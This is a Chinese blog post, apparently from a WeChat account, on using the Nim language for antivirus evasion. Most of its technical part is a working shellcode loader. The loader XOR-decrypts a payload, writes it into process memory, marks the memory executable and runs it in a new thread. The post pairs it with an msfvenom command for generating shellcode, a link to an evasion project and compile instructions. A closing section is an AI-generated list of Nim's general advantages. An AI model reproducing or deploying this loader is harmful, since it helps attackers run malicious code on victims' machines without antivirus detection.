知道这个家伙,源于一个shellcode的免杀,才晓得世间还有这么一款编程语言,很像python,可读性强,编译速度快,有凡尔赛的感觉。在业界,免杀方面,一直有使用偏门语言的shellcode加载器处理免杀的历史传统,语言一变在变,从最开始的python免杀、go免杀到现在的nim语言免杀。
查了资料,发现Nim的历史不长,2008年才发布其第一款编译器,标志着语言正式可用。有介绍说:Nim是一个新型的静态类型、命令式编程语言,支持过程式、函数式、面向对象和泛型编程风格而保持简单和高效;抽象语法树(AST)成为语言规范的一部分,可以用作创建领域特定语言的强大宏系统。除此之外,也是一个编译型的具有垃圾收集的系统编程语言(垃圾收集(Garbage Collection, GC)是计算机编程语言的一种内存管理机制,用于自动回收不再使用的内存资源。在许多编程语言(例如 Java、C#、Python 和 Nim)中,垃圾收集器会自动检测和释放那些已经分配但不再被程序使用的内存,以防止内存泄漏和过度的内存消耗。垃圾收集在现代编程语言中非常普遍,使得开发者可以专注于编写业务逻辑,而不必担心内存管理的细节),有着极其卓越的生产/性能比。
1、我们先来看一段shellcode的nim代码,x2ldr.num:
import winim/lean
proc xorEncrypt[I, J, byte](code: array[I, byte], key: array[J, byte]): array[I, byte] =
var result: array[I, byte]
for i in 0 ..< code.len:
result[i] = code[i] xor key[i mod key.len]
return result
proc Ldr1[I, T](shellcode: array[I, T]): void =
let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(pHandle, NULL, cast[SIZE_T](shellcode.len),MEM_COMMIT, PAGE_READWRITE)
var key: array[6, byte] = [byte 0x6d, 0x46, ...... ]
var shellcode: array[272, byte] = xorEncrypt(shellcode, key)
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(pHandle, rPtr, unsafeAddr shellcode,cast[SIZE_T](shellcode.len), addr bytesWritten)
var oldProtect: DWORD
let rv = VirtualProtect(rPtr, shellcode.len, PAGE_EXECUTE_READ, cast[PDWORD](addr(oldProtect)))
if rv != 0:
var tHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](rPtr), nil, 0, nil)
WaitForSingleObject(tHandle, -1)
when defined(windows):
var shellcode: array[272, byte] = [byte 0x91, 0xe, ...... ]
when isMainModule:
{.link: "icon.o".}
Ldr1(shellcode)
第一眼看到代码时,非常舒服,可读易懂,跟python长得相像。
注意这里: var shellcode: array[272, byte] = [byte 0x91, 0xe, ...... ],有个272字节,是生成的shellcode的长度,数组里是生成的代码;
(1)可以用msfvenom 生成 shellcode:msfvenom -a x64 -p windows/x64/exec CMD=calc -f raw -o calc_x64.bin
(2)xor 加密 msfvenom 生成的 raw 格式 shellcode
下载nim免杀项目,这里用https://github.com/yutianqaq/x2Ldr?tab=readme-ov-file的xorencrypt.py来加密生成
将 python 脚本生成的内容放入 nim 代码中, 修改红框处内容
2、编译程序
官网处下载nim,https://nim-lang.org/install.html,安装后添加到环境变量中。
windows编译程序:nim c -d=release --cc:gcc --app=gui --cpu=amd64 x2Ldr.nim
linux编译程序:nim c -d=mingw --app=gui --cpu=amd64 -d:release --opt:size --passL:-static .x2Ldr.nim
在windows下生成可执行文件,运行后弹出计算器程序。
后记:观之Nim编译生成的文件还是比较小的,加之编写简单又是具有C的编译方式,稳定且速度很快,具备了其它语言不具有的一些优势,随着社区生态的完善,会有很大的市场和前景。问询了AI:
Nim编程语言在开发和使用方面具有以下几个明显的优势:
1. 跨平台兼容性
Nim 语言可以生成高效的、跨平台的代码,能够编译为C、C++、JavaScript,甚至WebAssembly。这使得Nim程序可以在不同操作系统(如Linux、Windows、macOS)和硬件架构上运行。对于开发者来说,这种跨平台兼容性意味着可以在任意平台上进行开发,并且最终产品可以在多个平台上无缝运行。
2. 轻量级和高效
Nim语言编译生成的程序非常轻量且高效,接近C/C++的性能。对于开发而言,低资源消耗和快速执行的程序能够在各种环境中运行,无论是云端服务器、低配置的开发机,还是嵌入式设备。
3. 灵活的编译选项
Nim编译器支持多种编译目标和优化选项,开发者可以根据具体需求调整编译配置,生成不同性能和功能需求的二进制文件。这使得开发者可以在不同的环境中进行测试和部署,而不需要依赖重型工具链或特定平台。
4. 简洁的语法和易学性
Nim具有简洁且类Python的语法,降低了上手难度。对于远程工作,开发者可以更快地掌握语言,并且更容易进行团队协作和代码维护。
5. 内置的垃圾收集
Nim带有自动内存管理功能,这对于开发非常有利,因为开发者不需要手动管理内存,从而减少了代码中的错误,并使团队能够更专注于功能实现而不是内存管理细节。
6. 内置工具和包管理
Nim带有丰富的内置工具,如文档生成、单元测试和包管理器。开发团队可以快速搭建开发环境,管理依赖,进行测试和部署,而不需要依赖外部工具,简化了远程协作和环境一致性问题。
7. 社区和远程协作
Nim社区虽然相对较小,但非常活跃,并且社区资源非常适合开发者。开发者可以从社区获得支持,使用丰富的库和工具,提高开发效率。
总体而言,Nim的跨平台能力、效率、轻量级以及简洁性,使其成为开发中的一个强大工具,能够应对多种环境和需求。
原文始发于微信公众号(MicroPest):Nim编程
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论